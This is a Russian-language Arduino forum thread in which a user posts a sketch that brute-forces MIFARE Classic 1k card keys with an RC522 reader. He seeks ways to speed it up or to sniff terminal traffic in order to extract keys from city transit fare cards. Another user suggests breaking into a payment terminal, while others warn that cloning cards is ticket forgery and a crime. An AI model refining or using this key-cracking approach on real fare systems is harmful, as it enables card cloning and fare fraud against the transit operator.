Mifare 1k - узнать ключи

MIR
Offline
Зарегистрирован: 11.08.2014

Всем привет!
Недавно приобрёл RFID модуль RC-522 на 13мгц, начал немного разбираться с этой системой.
Имеются несколько карточек Mifare classic 1k, для которых необходимо узнать ключи.
Порылся в интернете нашол проги MFCUK и подобные, но работают они только с определёнными девайсами.
На Arduino ничего подобного не нашол((
Решил написать простенький брут, но как выяснилось перебор занимает очень много времени(( 

 

#include <SPI.h>
#include <MFRC522.h>

#define RST_PIN		9 
#define SS_PIN		10 
MFRC522 mfrc522(SS_PIN, RST_PIN); 
MFRC522::MIFARE_Key key;

void setup() {
	Serial.begin(9600); 
	SPI.begin(); 
	mfrc522.PCD_Init(); 
	Serial.println("ok");
}

void loop() {
key.keyByte[0]=0x00;
key.keyByte[1]=0x00;
key.keyByte[2]=0x00;
key.keyByte[3]=0x00;
key.keyByte[4]=0x00;
key.keyByte[5]=0x00;

//Перебор байтов по порядку
while(key.keyByte[5]<0xFF){
if (key.keyByte[0]==0xFF) key.keyByte[1]+=0x01;
if (key.keyByte[1]==0xFF) key.keyByte[2]+=0x01;
if (key.keyByte[2]==0xFF) key.keyByte[3]+=0x01;
if (key.keyByte[3]==0xFF) key.keyByte[4]+=0x01;
if (key.keyByte[4]==0xFF) key.keyByte[5]+=0x01;

if ( ! mfrc522.PICC_IsNewCardPresent()) {return;}
if ( ! mfrc522.PICC_ReadCardSerial()) {return;}
byte status, len;
  
status = mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, 1, &key, &(mfrc522.uid));

//Ограничения выводимой информации для мониторинга
if (key.keyByte[0]==0xFF){
   Serial.print(key.keyByte[0], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[1], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[2], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[3], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[4], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[5], HEX);
   Serial.print(" ");  
    Serial.print("status:"); Serial.println(status); 
}

//Если ключ верный 
if (status==1){
   Serial.print("OK:"); Serial.println(status); 
    Serial.print("Key is:");
    Serial.print(key.keyByte[0], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[1], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[2], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[3], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[4], HEX);
   Serial.print(" "); 
    Serial.print(key.keyByte[5], HEX);
   Serial.print(" "); 
};
 
key.keyByte[0]+=0x01;}}


Поэтому обращаюсь за подсказкой или помощью.

Предполагаемые варианты:
1. Наладить взаимодействие ардуино и сторонних программ MFCUK и т.п.

2. Ускорить брут (технически сам RFID модуль позволяет это зделать, в описании скорость работы до 10Mbit/s). Только как это зделать програмно?
Поковырял библиотеки rfid2master там куча параметров, что именно менять - хз.

3. Использовать уязвимость Mifare.
Порывшись в интернете, выяснил, что при подаче на карточку команд не соответствующих протоколу, карточка может выдать фрагменты ключей, что гораздо упрощает их перебор. Только подробной информации пока не нашол.

 

Надеюсь на вашу помощь и подсказку)
Заранее благодарю)

NeiroN
NeiroN аватар
Offline
Зарегистрирован: 15.06.2013

Поглядел исходник, почитал статьи - ардуина не затащит скорость обмена и вычислений. Там нужно быстро расчитывать криптографию и давить карточку запросами. На ардуине получится тот же самый брут форс. максимум с повышеной эфективностью...

Проще взломать терминал оплаты(установить монитор порта) чтобы получить ключи - через какую нить уязвимость в флешь...

MIR
Offline
Зарегистрирован: 11.08.2014

NeiroN, терминал взломать проблемотично будет, т.к. почти все баги в нём прикрыли - даже рабочий стол стёрли.
Если только собрать девайс и проснифить обмен данных между картой и терминалом, только как его собрать на Arduino ХЗ, да и картоприёмник терминала зделан таким образом, что всунуть туда более одной карточки будет сложновато.
С самим физическим девайсом для сниффа попробую разобраться, но каким образом обрабатывать получаемые данные пока ХЗ.

А тотже модуль RC522 в качестве сниффера использовать возможно?

NeiroN
NeiroN аватар
Offline
Зарегистрирован: 15.06.2013

Нет, модуль общается по протоколу. Чтобы снифить надо работать без протокола.

4ishops
Offline
Зарегистрирован: 06.10.2012

MIR пишет:

 

3. Использовать уязвимость Mifare.
Порывшись в интернете, выяснил, что при подаче на карточку команд не соответствующих протоколу, карточка может выдать фрагменты ключей, что гораздо упрощает их перебор. Только подробной информации пока не нашол.

 

Надеюсь на вашу помощь и подсказку)
Заранее благодарю)

 

Уязвимость есть только в Mifare CLASSIC, остальные пока не сломали вроде:)

Для проезда этот вариант уже практически не используется, а так ключи извлекаются, да.

http://habrahabr.ru/post/175557/

MIR
Offline
Зарегистрирован: 11.08.2014

Тот риадер стоит около 2к - дороговато((
В Москве с проездом гораздо проще теже Mifare Ultralight без пароля вроде прошиваются.
Но Я живу в Тюмeни - тут всё гораздо сложнее((
Выдаются карточки Mifare CLASSIC 1к которые как именные, так и общепользовательские (анонимные).
Кондуктора ходят по автобусу с девайсом, который снимает деньги с карты и печатает чек (билет), у водителя в маршрутках тотже девайс.
Никаких других видов общественного транспорта нету((
Поэтому количество попыток экспериментов давольно ограниченое. 

Щас ещё вводят какието Универсальные Электронные Карты, в терминалах они уже вшиты, и как понял они выдаются по всей россии, однако они выдаются под ФИО, что давольно паливно для экпериментов.

И так:
Риадер покупать не вариант.
Зделать риадер под mfcuc на arduino тоже похоже проблемотично.
Брутить через arduino практически нериально (очень долго).

Сейчас пока два варианта:
1. Попробую побрутить на некоторые слова, номера телефонов, в различных вариантах, найденые на официальном сайте транспортной компании. Может повезёт.

2. Попытаюсь зделать сниффер и засниффить обмен данных между картой и терминалом. Думаю другим это тоже пригодиться, потомучто карточки разные бывают)

Других вариантов пока незнаю((
 

toc
Offline
Зарегистрирован: 09.02.2013

товарищ, вас посадят.
пароль от новой чистой карточки есть в руководстве https://learn.adafruit.com/adafruit-pn532-rfid-nfc/mifare

MIR
Offline
Зарегистрирован: 11.08.2014

Нет ничего противозаконного, в том, чтобы узнать ключи к своей карточке, которую ты купил у транспортной компании.
А причём тут пароль от новой карточки? Если обсуждаются карточки с уже изменёнными стандартными паролями.

4ishops
Offline
Зарегистрирован: 06.10.2012

MIR пишет:

Нет ничего противозаконного, в том, чтобы узнать ключи к своей карточке, которую ты купил у транспортной компании.
А причём тут пароль от новой карточки? Если обсуждаются карточки с уже изменёнными стандартными паролями.

 

От своей карты да, но как только залепите клон с нее, то уже подделка билетов со всеми вытекающими:)

 

Mifare CLASSIC весь насквозь дырявый, взломы были много где по миру и от него уже почти везде отказались в пользу более защищенных вариантов карты. Как извлечь ключ - куча материалов есть в сети, в том числе на русском. Без нормального ридера сделать это в любом случае проблематично... только если хватит знаний переписать тулзу для перебора под Arduino скетч :) 

Алгоритм перебора в теории не сложный...

 

Bna2009
Offline
Зарегистрирован: 10.09.2014

 

4ishops пишет:

MIR пишет:

Нет ничего противозаконного, в том, чтобы узнать ключи к своей карточке, которую ты купил у транспортной компании.
А причём тут пароль от новой карточки? Если обсуждаются карточки с уже изменёнными стандартными паролями.

 

От своей карты да, но как только залепите клон с нее, то уже подделка билетов со всеми вытекающими:)

 

 

подделка билетов со всеми вытекающими?  нет такой статьи, есть подделка документов!

 

Tomasina
Tomasina аватар
Offline
Зарегистрирован: 09.03.2013

а билет - это и есть проездной документ :)

MacSim
Offline
Зарегистрирован: 28.11.2012

помоему, перебор не выйдет. карта перестанет читаться.

 

rusich
Offline
Зарегистрирован: 12.06.2018

прошло уже много времени, но я всё равно спрошу) получилось ли сделать sniffer?

DetSimen
DetSimen аватар
Offline
Зарегистрирован: 25.01.2017

Ну раз давно не был, значит получилось, теперь сидит.

Logik
Offline
Зарегистрирован: 05.08.2014

И времени вобщем немного прошло, могли лет 5 дать.

lawkalaw
Offline
Зарегистрирован: 31.08.2020

Как обстоят дела?))

Bna2009
Offline
Зарегистрирован: 10.09.2014
Bna2009
Offline
Зарегистрирован: 10.09.2014

К сведению это
Статья 165 УК РФ. Причинение имущественного ущерба путем обмана или злоупотребления доверием.

Часть от суммы ущерба.